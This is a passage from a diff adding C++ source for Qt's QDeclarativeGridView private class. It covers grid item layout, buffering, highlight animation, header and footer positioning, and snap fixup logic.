+ for (int i = modelIndex - visibleIndex; i < visibleItems.count(); ++i) {
+ FxGridItem *item = visibleItems.at(i);
+ if (item->index == modelIndex)
+ return item;
+ }
+ }
+ return 0;
+ }
+
+ bool isRightToLeftTopToBottom() const {
+ Q_Q(const QDeclarativeGridView);
+ return flow == QDeclarativeGridView::TopToBottom && q->effectiveLayoutDirection() == Qt::RightToLeft;
+ }
+
+ void regenerate() {
+ Q_Q(QDeclarativeGridView);
+ if (q->isComponentComplete()) {
+ clear();
+ updateGrid();
+ setPosition(0);
+ q->refill();
+ updateCurrent(currentIndex);
+ }
+ }
+
+ void mirrorChange() {
+ Q_Q(QDeclarativeGridView);
+ regenerate();
+ }
+
+ qreal position() const {
+ Q_Q(const QDeclarativeGridView);
+ return flow == QDeclarativeGridView::LeftToRight ? q->contentY() : q->contentX();
+ }
+ void setPosition(qreal pos) {
+ Q_Q(QDeclarativeGridView);
+ if (flow == QDeclarativeGridView::LeftToRight) {
+ q->QDeclarativeFlickable::setContentY(pos);
+ q->QDeclarativeFlickable::setContentX(0);
+ } else {
+ if (q->effectiveLayoutDirection() == Qt::LeftToRight)
+ q->QDeclarativeFlickable::setContentX(pos);
+ else
+ q->QDeclarativeFlickable::setContentX(-pos-size());
+ q->QDeclarativeFlickable::setContentY(0);
+ }
+ }
+ int size() const {
+ Q_Q(const QDeclarativeGridView);
+ return flow == QDeclarativeGridView::LeftToRight ? q->height() : q->width();
+ }
+ qreal originPosition() const {
+ qreal pos = 0;
+ if (!visibleItems.isEmpty())
+ pos = visibleItems.first()->rowPos() - visibleIndex / columns * rowSize();
+ return pos;
+ }
+
+ qreal lastPosition() const {
+ qreal pos = 0;
+ if (model && model->count())
+ pos = rowPosAt(model->count() - 1) + rowSize();
+ return pos;
+ }
+
+ qreal startPosition() const {
+ return isRightToLeftTopToBottom() ? -lastPosition()+1 : originPosition();
+ }
+
+ qreal endPosition() const {
+ return isRightToLeftTopToBottom() ? -originPosition()+1 : lastPosition();
+
+ }
+
+ bool isValid() const {
+ return model && model->count() && model->isValid();
+ }
+
+ int rowSize() const {
+ return flow == QDeclarativeGridView::LeftToRight ? cellHeight : cellWidth;
+ }
+ int colSize() const {
+ return flow == QDeclarativeGridView::LeftToRight ? cellWidth : cellHeight;
+ }
+
+ qreal colPosAt(int modelIndex) const {
+ if (FxGridItem *item = visibleItem(modelIndex))
+ return item->colPos();
+ if (!visibleItems.isEmpty()) {
+ if (modelIndex < visibleIndex) {
+ int count = (visibleIndex - modelIndex) % columns;
+ int col = visibleItems.first()->colPos() / colSize();
+ col = (columns - count + col) % columns;
+ return col * colSize();
+ } else {
+ int count = columns - 1 - (modelIndex - visibleItems.last()->index - 1) % columns;
+ return visibleItems.last()->colPos() - count * colSize();
+ }
+ } else {
+ return (modelIndex % columns) * colSize();
+ }
+ return 0;
+ }
+ qreal rowPosAt(int modelIndex) const {
+ if (FxGridItem *item = visibleItem(modelIndex))
+ return item->rowPos();
+ if (!visibleItems.isEmpty()) {
+ if (modelIndex < visibleIndex) {
+ int firstCol = visibleItems.first()->colPos() / colSize();
+ int col = visibleIndex - modelIndex + (columns - firstCol - 1);
+ int rows = col / columns;
+ return visibleItems.first()->rowPos() - rows * rowSize();
+ } else {
+ int count = modelIndex - visibleItems.last()->index;
+ int col = visibleItems.last()->colPos() + count * colSize();
+ int rows = col / (columns * colSize());
+ return visibleItems.last()->rowPos() + rows * rowSize();
+ }
+ } else {
+ qreal pos = (modelIndex / columns) * rowSize();
+ if (header)
+ pos += headerSize();
+ return pos;
+ }
+ return 0;
+ }
+
+ FxGridItem *firstVisibleItem() const {
+ const qreal pos = isRightToLeftTopToBottom() ? -position()-size() : position();
+ for (int i = 0; i < visibleItems.count(); ++i) {
+ FxGridItem *item = visibleItems.at(i);
+ if (item->index != -1 && item->endRowPos() > pos)
+ return item;
+ }
+ return visibleItems.count() ? visibleItems.first() : 0;
+ }
+
+ int lastVisibleIndex() const {
+ for (int i = 0; i < visibleItems.count(); ++i) {
+ FxGridItem *item = visibleItems.at(i);
+ if (item->index != -1)
+ return item->index;
+ }
+ return -1;
+ }
+
+ // Map a model index to visibleItems list index.
+ // These may differ if removed items are still present in the visible list,
+ // e.g. doing a removal animation
+ int mapFromModel(int modelIndex) const {
+ if (modelIndex < visibleIndex || modelIndex >= visibleIndex + visibleItems.count())
+ return -1;
+ for (int i = 0; i < visibleItems.count(); ++i) {
+ FxGridItem *listItem = visibleItems.at(i);
+ if (listItem->index == modelIndex)
+ return i + visibleIndex;
+ if (listItem->index > modelIndex)
+ return -1;
+ }
+ return -1; // Not in visibleList
+ }
+
+ qreal snapPosAt(qreal pos) const {
+ Q_Q(const QDeclarativeGridView);
+ qreal snapPos = 0;
+ if (!visibleItems.isEmpty()) {
+ qreal highlightStart = isRightToLeftTopToBottom() && highlightRangeStartValid ? size()-highlightRangeEnd : highlightRangeStart;
+ pos += highlightStart;
+ pos += rowSize()/2;
+ snapPos = visibleItems.first()->rowPos() - visibleIndex / columns * rowSize();
+ snapPos = pos - fmodf(pos - snapPos, qreal(rowSize()));
+ snapPos -= highlightStart;
+ qreal maxExtent;
+ qreal minExtent;
+ if (isRightToLeftTopToBottom()) {
+ maxExtent = q->minXExtent();
+ minExtent = q->maxXExtent();
+ } else {
+ maxExtent = flow == QDeclarativeGridView::LeftToRight ? -q->maxYExtent() : -q->maxXExtent();
+ minExtent = flow == QDeclarativeGridView::LeftToRight ? -q->minYExtent() : -q->minXExtent();
+ }
+ if (snapPos > maxExtent)
+ snapPos = maxExtent;
+ if (snapPos < minExtent)
+ snapPos = minExtent;
+ }
+ return snapPos;
+ }
+
+ FxGridItem *snapItemAt(qreal pos) {
+ for (int i = 0; i < visibleItems.count(); ++i) {
+ FxGridItem *item = visibleItems[i];
+ if (item->index == -1)
+ continue;
+ qreal itemTop = item->rowPos();
+ if (itemTop+rowSize()/2 >= pos && itemTop - rowSize()/2 <= pos)
+ return item;
+ }
+ return 0;
+ }
+
+ int snapIndex() {
+ int index = currentIndex;
+ for (int i = 0; i < visibleItems.count(); ++i) {
+ FxGridItem *item = visibleItems[i];
+ if (item->index == -1)
+ continue;
+ qreal itemTop = item->rowPos();
+ if (itemTop >= highlight->rowPos()-rowSize()/2 && itemTop < highlight->rowPos()+rowSize()/2) {
+ index = item->index;
+ if (item->colPos() >= highlight->colPos()-colSize()/2 && item->colPos() < highlight->colPos()+colSize()/2)
+ return item->index;
+ }
+ }
+ return index;
+ }
+
+ qreal headerSize() const {
+ if (!header)
+ return 0.0;
+
+ return flow == QDeclarativeGridView::LeftToRight
+ ? header->item->height()
+ : header->item->width();
+ }
+
+
+ virtual void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry) {
+ Q_Q(const QDeclarativeGridView);
+ QDeclarativeFlickablePrivate::itemGeometryChanged(item, newGeometry, oldGeometry);
+ if (item == q) {
+ if (newGeometry.height() != oldGeometry.height()
+ || newGeometry.width() != oldGeometry.width()) {
+ if (q->isComponentComplete()) {
+ updateGrid();
+ scheduleLayout();
+ }
+ }
+ } else if ((header && header->item == item) || (footer && footer->item == item)) {
+ if (header)
+ updateHeader();
+ if (footer)
+ updateFooter();
+ }
+ }
+
+ void positionViewAtIndex(int index, int mode);
+ virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent);
+ virtual void flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize,
+ QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity);
+
+ // for debugging only
+ void checkVisible() const {
+ int skip = 0;
+ for (int i = 0; i < visibleItems.count(); ++i) {
+ FxGridItem *listItem = visibleItems.at(i);
+ if (listItem->index == -1) {
+ ++skip;
+ } else if (listItem->index != visibleIndex + i - skip) {
+ for (int j = 0; j < visibleItems.count(); j++)
+ qDebug() << " index" << j << "item index" << visibleItems.at(j)->index;
+ qFatal("index %d %d %d", visibleIndex, i, listItem->index);
+ }
+ }
+ }
+
+ QDeclarativeGuard<QDeclarativeVisualModel> model;
+ QVariant modelVariant;
+ QList<FxGridItem*> visibleItems;
+ QHash<QDeclarativeItem*,int> unrequestedItems;
+ FxGridItem *currentItem;
+ Qt::LayoutDirection layoutDirection;
+ QDeclarativeGridView::Flow flow;
+ int visibleIndex;
+ int currentIndex;
+ int cellWidth;
+ int cellHeight;
+ int columns;
+ int requestedIndex;
+ int itemCount;
+ qreal highlightRangeStart;
+ qreal highlightRangeEnd;
+ bool highlightRangeStartValid;
+ bool highlightRangeEndValid;
+ QDeclarativeGridView::HighlightRangeMode highlightRange;
+ QDeclarativeComponent *highlightComponent;
+ FxGridItem *highlight;
+ FxGridItem *trackedItem;
+ enum MovementReason { Other, SetIndex, Mouse };
+ MovementReason moveReason;
+ int buffer;
+ QSmoothedAnimation *highlightXAnimator;
+ QSmoothedAnimation *highlightYAnimator;
+ int highlightMoveDuration;
+ QDeclarativeComponent *footerComponent;
+ FxGridItem *footer;
+ QDeclarativeComponent *headerComponent;
+ FxGridItem *header;
+ enum BufferMode { NoBuffer = 0x00, BufferBefore = 0x01, BufferAfter = 0x02 };
+ int bufferMode;
+ QDeclarativeGridView::SnapMode snapMode;
+
+ bool ownModel : 1;
+ bool wrap : 1;
+ bool autoHighlight : 1;
+ bool fixCurrentVisibility : 1;
+ bool lazyRelease : 1;
+ bool layoutScheduled : 1;
+ bool deferredRelease : 1;
+ bool haveHighlightRange : 1;
+ bool currentIndexCleared : 1;
+};
+
+void QDeclarativeGridViewPrivate::init()
+{
+ Q_Q(QDeclarativeGridView);
+ QObject::connect(q, SIGNAL(movementEnded()), q, SLOT(animStopped()));
+ q->setFlag(QGraphicsItem::ItemIsFocusScope);
+ q->setFlickableDirection(QDeclarativeFlickable::VerticalFlick);
+ addItemChangeListener(this, Geometry);
+}
+
+void QDeclarativeGridViewPrivate::clear()
+{
+ for (int i = 0; i < visibleItems.count(); ++i)
+ releaseItem(visibleItems.at(i));
+ visibleItems.clear();
+ visibleIndex = 0;
+ releaseItem(currentItem);
+ currentItem = 0;
+ createHighlight();
+ trackedItem = 0;
+ itemCount = 0;
+}
+
+FxGridItem *QDeclarativeGridViewPrivate::createItem(int modelIndex)
+{
+ Q_Q(QDeclarativeGridView);
+ // create object
+ requestedIndex = modelIndex;
+ FxGridItem *listItem = 0;
+ if (QDeclarativeItem *item = model->item(modelIndex, false)) {
+ listItem = new FxGridItem(item, q);
+ listItem->index = modelIndex;
+ if (model->completePending()) {
+ // complete
+ listItem->item->setZValue(1);
+ listItem->item->setParentItem(q->contentItem());
+ model->completeItem();
+ } else {
+ listItem->item->setParentItem(q->contentItem());
+ }
+ unrequestedItems.remove(listItem->item);
+ }
+ requestedIndex = -1;
+ return listItem;
+}
+
+
+void QDeclarativeGridViewPrivate::releaseItem(FxGridItem *item)
+{
+ Q_Q(QDeclarativeGridView);
+ if (!item || !model)
+ return;
+ if (trackedItem == item) {
+ QObject::disconnect(trackedItem->item, SIGNAL(yChanged()), q, SLOT(trackedPositionChanged()));
+ QObject::disconnect(trackedItem->item, SIGNAL(xChanged()), q, SLOT(trackedPositionChanged()));
+ trackedItem = 0;
+ }
+ if (model->release(item->item) == 0) {
+ // item was not destroyed, and we no longer reference it.
+ unrequestedItems.insert(item->item, model->indexOf(item->item, q));
+ }
+ delete item;
+}
+
+void QDeclarativeGridViewPrivate::refill(qreal from, qreal to, bool doBuffer)
+{
+ Q_Q(QDeclarativeGridView);
+ if (!isValid() || !q->isComponentComplete())
+ return;
+ itemCount = model->count();
+ qreal bufferFrom = from - buffer;
+ qreal bufferTo = to + buffer;
+ qreal fillFrom = from;
+ qreal fillTo = to;
+ if (doBuffer && (bufferMode & BufferAfter))
+ fillTo = bufferTo;
+ if (doBuffer && (bufferMode & BufferBefore))
+ fillFrom = bufferFrom;
+
+ bool changed = false;
+
+ int colPos = colPosAt(visibleIndex);
+ int rowPos = rowPosAt(visibleIndex);
+ int modelIndex = visibleIndex;
+ if (visibleItems.count()) {
+ rowPos = visibleItems.last()->rowPos();
+ colPos = visibleItems.last()->colPos() + colSize();
+ if (colPos > colSize() * (columns-1)) {
+ colPos = 0;
+ rowPos += rowSize();
+ }
+ int i = visibleItems.count() - 1;
+ while (i > 0 && visibleItems.at(i)->index == -1)
+ --i;
+ modelIndex = visibleItems.at(i)->index + 1;
+ }
+
+ if (visibleItems.count() && (fillFrom > rowPos + rowSize()*2
+ || fillTo < rowPosAt(visibleIndex) - rowSize())) {
+ // We've jumped more than a page. Estimate which items are now
+ // visible and fill from there.
+ int count = (fillFrom - (rowPos + rowSize())) / (rowSize()) * columns;
+ for (int i = 0; i < visibleItems.count(); ++i)
+ releaseItem(visibleItems.at(i));
+ visibleItems.clear();
+ modelIndex += count;
+ if (modelIndex >= model->count())
+ modelIndex = model->count() - 1;
+ else if (modelIndex < 0)
+ modelIndex = 0;
+ modelIndex = modelIndex / columns * columns;
+ visibleIndex = modelIndex;
+ colPos = colPosAt(visibleIndex);
+ rowPos = rowPosAt(visibleIndex);
+ }
+
+ int colNum = colPos / colSize();
+
+ FxGridItem *item = 0;
+
+ // Item creation and release is staggered in order to avoid
+ // creating/releasing multiple items in one frame
+ // while flicking (as much as possible).
+ while (modelIndex < model->count() && rowPos <= fillTo + rowSize()*(columns - colNum)/(columns+1)) {
+// qDebug() << "refill: append item" << modelIndex;
+ if (!(item = createItem(modelIndex)))
+ break;
+ item->setPosition(colPos, rowPos);
+ visibleItems.append(item);
+ colPos += colSize();
+ colNum++;
+ if (colPos > colSize() * (columns-1)) {
+ colPos = 0;
+ colNum = 0;
+ rowPos += rowSize();
+ }
+ ++modelIndex;
+ changed = true;
+ if (doBuffer) // never buffer more than one item per frame
+ break;
+ }
+
+ if (visibleItems.count()) {
+ rowPos = visibleItems.first()->rowPos();
+ colPos = visibleItems.first()->colPos() - colSize();
+ if (colPos < 0) {
+ colPos = colSize() * (columns - 1);
+ rowPos -= rowSize();
+ }
+ }
+ colNum = colPos / colSize();
+ while (visibleIndex > 0 && rowPos + rowSize() - 1 >= fillFrom - rowSize()*(colNum+1)/(columns+1)){
+// qDebug() << "refill: prepend item" << visibleIndex-1 << "top pos" << rowPos << colPos;
+ if (!(item = createItem(visibleIndex-1)))
+ break;
+ --visibleIndex;
+ item->setPosition(colPos, rowPos);
+ visibleItems.prepend(item);
+ colPos -= colSize();
+ colNum--;
+ if (colPos < 0) {
+ colPos = colSize() * (columns - 1);
+ colNum = columns-1;
+ rowPos -= rowSize();
+ }
+ changed = true;
+ if (doBuffer) // never buffer more than one item per frame
+ break;
+ }
+
+ if (!lazyRelease || !changed || deferredRelease) { // avoid destroying items in the same frame that we create
+ while (visibleItems.count() > 1
+ && (item = visibleItems.first())
+ && item->rowPos()+rowSize()-1 < bufferFrom - rowSize()*(item->colPos()/colSize()+1)/(columns+1)) {
+ if (item->attached->delayRemove())
+ break;
+// qDebug() << "refill: remove first" << visibleIndex << "top end pos" << item->endRowPos();
+ if (item->index != -1)
+ visibleIndex++;
+ visibleItems.removeFirst();
+ releaseItem(item);
+ changed = true;
+ }
+ while (visibleItems.count() > 1
+ && (item = visibleItems.last())
+ && item->rowPos() > bufferTo + rowSize()*(columns - item->colPos()/colSize())/(columns+1)) {
+ if (item->attached->delayRemove())
+ break;
+// qDebug() << "refill: remove last" << visibleIndex+visibleItems.count()-1;
+ visibleItems.removeLast();
+ releaseItem(item);
+ changed = true;
+ }
+ deferredRelease = false;
+ } else {
+ deferredRelease = true;
+ }
+ if (changed) {
+ if (header)
+ updateHeader();
+ if (footer)
+ updateFooter();
+ if (flow == QDeclarativeGridView::LeftToRight)
+ q->setContentHeight(endPosition() - startPosition());
+ else
+ q->setContentWidth(endPosition() - startPosition());
+ } else if (!doBuffer && buffer && bufferMode != NoBuffer) {
+ refill(from, to, true);
+ }
+ lazyRelease = false;
+}
+
+void QDeclarativeGridViewPrivate::updateGrid()
+{
+ Q_Q(QDeclarativeGridView);
+
+ columns = (int)qMax((flow == QDeclarativeGridView::LeftToRight ? q->width() : q->height()) / colSize(), qreal(1.));
+ if (isValid()) {
+ if (flow == QDeclarativeGridView::LeftToRight)
+ q->setContentHeight(endPosition() - startPosition());
+ else
+ q->setContentWidth(lastPosition() - originPosition());
+ }
+}
+
+void QDeclarativeGridViewPrivate::scheduleLayout()
+{
+ Q_Q(QDeclarativeGridView);
+ if (!layoutScheduled) {
+ layoutScheduled = true;
+ QCoreApplication::postEvent(q, new QEvent(QEvent::User), Qt::HighEventPriority);
+ }
+}
+
+void QDeclarativeGridViewPrivate::layout()
+{
+ Q_Q(QDeclarativeGridView);
+ layoutScheduled = false;
+ if (!isValid() && !visibleItems.count()) {
+ clear();
+ return;
+ }
+ if (visibleItems.count()) {
+ qreal rowPos = visibleItems.first()->rowPos();
+ qreal colPos = visibleItems.first()->colPos();
+ int col = visibleIndex % columns;
+ if (colPos != col * colSize()) {
+ colPos = col * colSize();
+ visibleItems.first()->setPosition(colPos, rowPos);
+ }
+ for (int i = 1; i < visibleItems.count(); ++i) {
+ FxGridItem *item = visibleItems.at(i);
+ colPos += colSize();
+ if (colPos > colSize() * (columns-1)) {
+ colPos = 0;
+ rowPos += rowSize();
+ }
+ item->setPosition(colPos, rowPos);
+ }
+ }
+ if (header)
+ updateHeader();
+ if (footer)
+ updateFooter();
+ q->refill();
+ updateHighlight();
+ moveReason = Other;
+ if (flow == QDeclarativeGridView::LeftToRight) {
+ q->setContentHeight(endPosition() - startPosition());
+ fixupY();
+ } else {
+ q->setContentWidth(endPosition() - startPosition());
+ fixupX();
+ }
+ updateUnrequestedPositions();
+}
+
+void QDeclarativeGridViewPrivate::updateUnrequestedIndexes()
+{
+ Q_Q(QDeclarativeGridView);
+ QHash<QDeclarativeItem*,int>::iterator it;
+ for (it = unrequestedItems.begin(); it != unrequestedItems.end(); ++it)
+ *it = model->indexOf(it.key(), q);
+}
+
+void QDeclarativeGridViewPrivate::updateUnrequestedPositions()
+{
+ QHash<QDeclarativeItem*,int>::const_iterator it;
+ for (it = unrequestedItems.begin(); it != unrequestedItems.end(); ++it) {
+ QDeclarativeItem *item = it.key();
+ if (flow == QDeclarativeGridView::LeftToRight) {
+ item->setPos(QPointF(colPosAt(*it), rowPosAt(*it)));
+ } else {
+ if (isRightToLeftTopToBottom())
+ item->setPos(QPointF(-rowPosAt(*it)-item->width(), colPosAt(*it)));
+ else
+ item->setPos(QPointF(rowPosAt(*it), colPosAt(*it)));
+ }
+ }
+}
+
+void QDeclarativeGridViewPrivate::updateTrackedItem()
+{
+ Q_Q(QDeclarativeGridView);
+ FxGridItem *item = currentItem;
+ if (highlight)
+ item = highlight;
+
+ if (trackedItem && item != trackedItem) {
+ QObject::disconnect(trackedItem->item, SIGNAL(yChanged()), q, SLOT(trackedPositionChanged()));
+ QObject::disconnect(trackedItem->item, SIGNAL(xChanged()), q, SLOT(trackedPositionChanged()));
+ trackedItem = 0;
+ }
+
+ if (!trackedItem && item) {
+ trackedItem = item;
+ QObject::connect(trackedItem->item, SIGNAL(yChanged()), q, SLOT(trackedPositionChanged()));
+ QObject::connect(trackedItem->item, SIGNAL(xChanged()), q, SLOT(trackedPositionChanged()));
+ }
+ if (trackedItem)
+ q->trackedPositionChanged();
+}
+
+void QDeclarativeGridViewPrivate::createHighlight()
+{
+ Q_Q(QDeclarativeGridView);
+ bool changed = false;
+ if (highlight) {
+ if (trackedItem == highlight)
+ trackedItem = 0;
+ if (highlight->item->scene())
+ highlight->item->scene()->removeItem(highlight->item);
+ highlight->item->deleteLater();
+ delete highlight;
+ highlight = 0;
+ delete highlightXAnimator;
+ delete highlightYAnimator;
+ highlightXAnimator = 0;
+ highlightYAnimator = 0;
+ changed = true;
+ }
+
+ if (currentItem) {
+ QDeclarativeItem *item = 0;
+ if (highlightComponent) {
+ QDeclarativeContext *highlightContext = new QDeclarativeContext(qmlContext(q));
+ QObject *nobj = highlightComponent->create(highlightContext);
+ if (nobj) {
+ QDeclarative_setParent_noEvent(highlightContext, nobj);
+ item = qobject_cast<QDeclarativeItem *>(nobj);
+ if (!item)
+ delete nobj;
+ } else {
+ delete highlightContext;
+ }
+ } else {
+ item = new QDeclarativeItem;
+ QDeclarative_setParent_noEvent(item, q->contentItem());
+ item->setParentItem(q->contentItem());
+ }
+ if (item) {
+ QDeclarative_setParent_noEvent(item, q->contentItem());
+ item->setParentItem(q->contentItem());
+ highlight = new FxGridItem(item, q);
+ if (currentItem && autoHighlight)
+ highlight->setPosition(currentItem->colPos(), currentItem->rowPos());
+ highlightXAnimator = new QSmoothedAnimation(q);
+ highlightXAnimator->target = QDeclarativeProperty(highlight->item, QLatin1String("x"));
+ highlightXAnimator->userDuration = highlightMoveDuration;
+ highlightYAnimator = new QSmoothedAnimation(q);
+ highlightYAnimator->target = QDeclarativeProperty(highlight->item, QLatin1String("y"));
+ highlightYAnimator->userDuration = highlightMoveDuration;
+ if (autoHighlight) {
+ highlightXAnimator->restart();
+ highlightYAnimator->restart();
+ }
+ changed = true;
+ }
+ }
+ if (changed)
+ emit q->highlightItemChanged();
+}
+
+void QDeclarativeGridViewPrivate::updateHighlight()
+{
+ if ((!currentItem && highlight) || (currentItem && !highlight))
+ createHighlight();
+ if (currentItem && autoHighlight && highlight && !hData.moving && !vData.moving) {
+ // auto-update highlight
+ highlightXAnimator->to = currentItem->item->x();
+ highlightYAnimator->to = currentItem->item->y();
+ highlight->item->setWidth(currentItem->item->width());
+ highlight->item->setHeight(currentItem->item->height());
+ highlightXAnimator->restart();
+ highlightYAnimator->restart();
+ }
+ updateTrackedItem();
+}
+
+void QDeclarativeGridViewPrivate::updateCurrent(int modelIndex)
+{
+ Q_Q(QDeclarativeGridView);
+ if (!q->isComponentComplete() || !isValid() || modelIndex < 0 || modelIndex >= model->count()) {
+ if (currentItem) {
+ currentItem->attached->setIsCurrentItem(false);
+ releaseItem(currentItem);
+ currentItem = 0;
+ currentIndex = modelIndex;
+ emit q->currentIndexChanged();
+ updateHighlight();
+ } else if (currentIndex != modelIndex) {
+ currentIndex = modelIndex;
+ emit q->currentIndexChanged();
+ }
+ return;
+ }
+
+ if (currentItem && currentIndex == modelIndex) {
+ updateHighlight();
+ return;
+ }
+
+ FxGridItem *oldCurrentItem = currentItem;
+ currentIndex = modelIndex;
+ currentItem = createItem(modelIndex);
+ fixCurrentVisibility = true;
+ if (oldCurrentItem && (!currentItem || oldCurrentItem->item != currentItem->item))
+ oldCurrentItem->attached->setIsCurrentItem(false);
+ if (currentItem) {
+ currentItem->setPosition(colPosAt(modelIndex), rowPosAt(modelIndex));
+ currentItem->item->setFocus(true);
+ currentItem->attached->setIsCurrentItem(true);
+ }
+ updateHighlight();
+ emit q->currentIndexChanged();
+ releaseItem(oldCurrentItem);
+}
+
+void QDeclarativeGridViewPrivate::updateFooter()
+{
+ Q_Q(QDeclarativeGridView);
+ if (!footer && footerComponent) {
+ QDeclarativeItem *item = 0;
+ QDeclarativeContext *context = new QDeclarativeContext(qmlContext(q));
+ QObject *nobj = footerComponent->create(context);
+ if (nobj) {
+ QDeclarative_setParent_noEvent(context, nobj);
+ item = qobject_cast<QDeclarativeItem *>(nobj);
+ if (!item)
+ delete nobj;
+ } else {
+ delete context;
+ }
+ if (item) {
+ QDeclarative_setParent_noEvent(item, q->contentItem());
+ item->setParentItem(q->contentItem());
+ item->setZValue(1);
+ QDeclarativeItemPrivate *itemPrivate = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(item));
+ itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ footer = new FxGridItem(item, q);
+ }
+ }
+ if (footer) {
+ qreal colOffset = 0;
+ qreal rowOffset;
+ if (isRightToLeftTopToBottom()) {
+ rowOffset = footer->item->width()-cellWidth;
+ } else {
+ rowOffset = 0;
+ if (q->effectiveLayoutDirection() == Qt::RightToLeft)
+ colOffset = footer->item->width()-cellWidth;
+ }
+ if (visibleItems.count()) {
+ qreal endPos = lastPosition();
+ if (lastVisibleIndex() == model->count()-1) {
+ footer->setPosition(colOffset, endPos + rowOffset);
+ } else {
+ qreal visiblePos = isRightToLeftTopToBottom() ? -position() : position() + size();
+ if (endPos <= visiblePos || footer->endRowPos() < endPos + rowOffset)
+ footer->setPosition(colOffset, endPos + rowOffset);
+ }
+ } else {
+ qreal endPos = 0;
+ if (header) {
+ endPos += flow == QDeclarativeGridView::LeftToRight ? header->item->height() : header->item->width();
+ }
+ footer->setPosition(colOffset, endPos);
+ }
+ }
+}
+
+void QDeclarativeGridViewPrivate::updateHeader()
+{
+ Q_Q(QDeclarativeGridView);
+ if (!header && headerComponent) {
+ QDeclarativeItem *item = 0;
+ QDeclarativeContext *context = new QDeclarativeContext(qmlContext(q));
+ QObject *nobj = headerComponent->create(context);
+ if (nobj) {
+ QDeclarative_setParent_noEvent(context, nobj);
+ item = qobject_cast<QDeclarativeItem *>(nobj);
+ if (!item)
+ delete nobj;
+ } else {
+ delete context;
+ }
+ if (item) {
+ QDeclarative_setParent_noEvent(item, q->contentItem());
+ item->setParentItem(q->contentItem());
+ item->setZValue(1);
+ QDeclarativeItemPrivate *itemPrivate = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(item));
+ itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ header = new FxGridItem(item, q);
+ }
+ }
+ if (header) {
+ qreal colOffset = 0;
+ qreal rowOffset;
+ if (isRightToLeftTopToBottom()) {
+ rowOffset = -cellWidth;
+ } else {
+ rowOffset = -headerSize();
+ if (q->effectiveLayoutDirection() == Qt::RightToLeft)
+ colOffset = header->item->width()-cellWidth;
+ }
+ if (visibleItems.count()) {
+ qreal startPos = originPosition();
+ if (visibleIndex == 0) {
+ header->setPosition(colOffset, startPos + rowOffset);
+ } else {
+ qreal tempPos = isRightToLeftTopToBottom() ? -position()-size() : position();
+ qreal headerPos = isRightToLeftTopToBottom() ? header->rowPos() + cellWidth - headerSize() : header->rowPos();
+ if (tempPos <= startPos || headerPos > startPos + rowOffset)
+ header->setPosition(colOffset, startPos + rowOffset);
+ }
+ } else {
+ header->setPosition(colOffset, 0);
+ }
+ }
+}
+
+void QDeclarativeGridViewPrivate::fixupPosition()
+{
+ moveReason = Other;
+ if (flow == QDeclarativeGridView::LeftToRight)
+ fixupY();
+ else
+ fixupX();
+}
+
+void QDeclarativeGridViewPrivate::fixup(AxisData &data, qreal minExtent, qreal maxExtent)
+{
+ if ((flow == QDeclarativeGridView::TopToBottom && &data == &vData)
+ || (flow == QDeclarativeGridView::LeftToRight && &data == &hData))
+ return;
+
+ fixupMode = moveReason == Mouse ? fixupMode : Immediate;
+
+ qreal highlightStart;
+ qreal highlightEnd;
+ qreal viewPos;
+ if (isRightToLeftTopToBottom()) {
+ // Handle Right-To-Left exceptions
+ viewPos = -position()-size();
+ highlightStart = highlightRangeStartValid ? size()-highlightRangeEnd : highlightRangeStart;
+ highlightEnd = highlightRangeEndValid ? size()-highlightRangeStart : highlightRangeEnd;
+ } else {
+ viewPos = position();
+ highlightStart = highlightRangeStart;
+ highlightEnd = highlightRangeEnd;
+ }
+
+ bool strictHighlightRange = haveHighlightRange && highlightRange == QDeclarativeGridView::StrictlyEnforceRange;
+
+ if (snapMode != QDeclarativeGridView::NoSnap) {
+ qreal tempPosition = isRightToLeftTopToBottom() ? -position()-size() : position();
+ if (snapMode == QDeclarativeGridView::SnapOneRow && moveReason == Mouse) {
+ // if we've been dragged < rowSize()/2 then bias towards the next row
+ qreal dist = data.move.value() - (data.pressPos - data.dragStartOffset);
+ qreal bias = 0;
+ if (data.velocity > 0 && dist > QML_FLICK_SNAPONETHRESHOLD && dist < rowSize()/2)
+ bias = rowSize()/2;
+ else if (data.velocity < 0 && dist < -QML_FLICK_SNAPONETHRESHOLD && dist > -rowSize()/2)
+ bias = -rowSize()/2;
+ if (isRightToLeftTopToBottom())
+ bias = -bias;
+ tempPosition -= bias;
+ }
+ FxGridItem *topItem = snapItemAt(tempPosition+highlightStart);
+ if (!topItem && strictHighlightRange && currentItem) {
+ // StrictlyEnforceRange always keeps an item in range
+ updateHighlight();
+ topItem = currentItem;
+ }
+ FxGridItem *bottomItem = snapItemAt(tempPosition+highlightEnd);
+ if (!bottomItem && strictHighlightRange && currentItem) {
+ // StrictlyEnforceRange always keeps an item in range
+ updateHighlight();
+ bottomItem = currentItem;
+ }
+ qreal pos;
+ bool isInBounds = -position() > maxExtent && -position() <= minExtent;
+ if (topItem && (isInBounds || strictHighlightRange)) {
+ if (topItem->index == 0 && header && tempPosition+highlightStart < header->rowPos()+headerSize()/2 && !strictHighlightRange) {
+ pos = isRightToLeftTopToBottom() ? - header->rowPos() + highlightStart - size() : header->rowPos() - highlightStart;
+ } else {
+ if (isRightToLeftTopToBottom())
+ pos = qMax(qMin(-topItem->rowPos() + highlightStart - size(), -maxExtent), -minExtent);
+ else
+ pos = qMax(qMin(topItem->rowPos() - highlightStart, -maxExtent), -minExtent);
+ }
+ } else if (bottomItem && isInBounds) {
+ if (isRightToLeftTopToBottom())
+ pos = qMax(qMin(-bottomItem->rowPos() + highlightEnd - size(), -maxExtent), -minExtent);
+ else
+ pos = qMax(qMin(bottomItem->rowPos() - highlightEnd, -maxExtent), -minExtent);
+ } else {
+ QDeclarativeFlickablePrivate::fixup(data, minExtent, maxExtent);
+ return;
+ }
+ qreal dist = qAbs(data.move + pos);
+ if (dist > 0) {
+ timeline.reset(data.move);
+ if (fixupMode != Immediate) {
+ timeline.move(data.move, -pos, QEasingCurve(QEasingCurve::InOutQuad), fixupDuration/2);
+ data.fixingUp = true;
+ } else {
+ timeline.set(data.move, -pos);
+ }
+ vTime = timeline.time();
+ }
